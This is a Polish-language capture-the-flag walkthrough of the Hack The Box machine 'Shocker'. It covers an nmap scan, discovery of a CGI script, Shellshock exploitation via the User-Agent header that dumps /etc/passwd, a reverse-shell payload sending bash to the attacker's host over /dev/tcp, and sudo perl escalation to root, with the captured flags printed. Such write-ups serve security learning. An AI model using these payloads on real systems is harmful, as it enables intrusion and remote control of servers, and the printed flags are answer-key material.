Shocker - 01.08.2021

Nmap

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)

Ferexbuster

Forexbuster odnajduje folder cgi-bin.

Ponowny Ferexbuster, tym razem z rozszerzeniami

user.sh

Content-Type: text/plain

Just an uptime test script

 12:45:39 up 23:34,  0 users,  load average: 0.27, 0.12, 0.04

Możliwa podatność na Shellshock

┌──(kali㉿kali-os)-[~/htb/shocker]
└─$ curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.10.10.56/cgi-bin/user.sh  

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash

Jest to ta podatność

Użytkownicy:

shelly

Przygotowanie listenera:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.160/5555 0>&1' 10.10.10.56/cgi-bin/user.sh

Jest shell

user.txt

2fe929f75636bc4bc3510700ce5fc0fd

Privilege Escalation

Szybkie sprawdzenie sudo -l

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

Natychmiastowy root:

sudo perl -e 'exec "/bin/sh";'

root.txt

fc91b8b23385d66e2a846d4148b40ac6

Shocker - 01.08.2021#

Nmap#

Ferexbuster#

user.sh#

Użytkownicy:#

Privilege Escalation#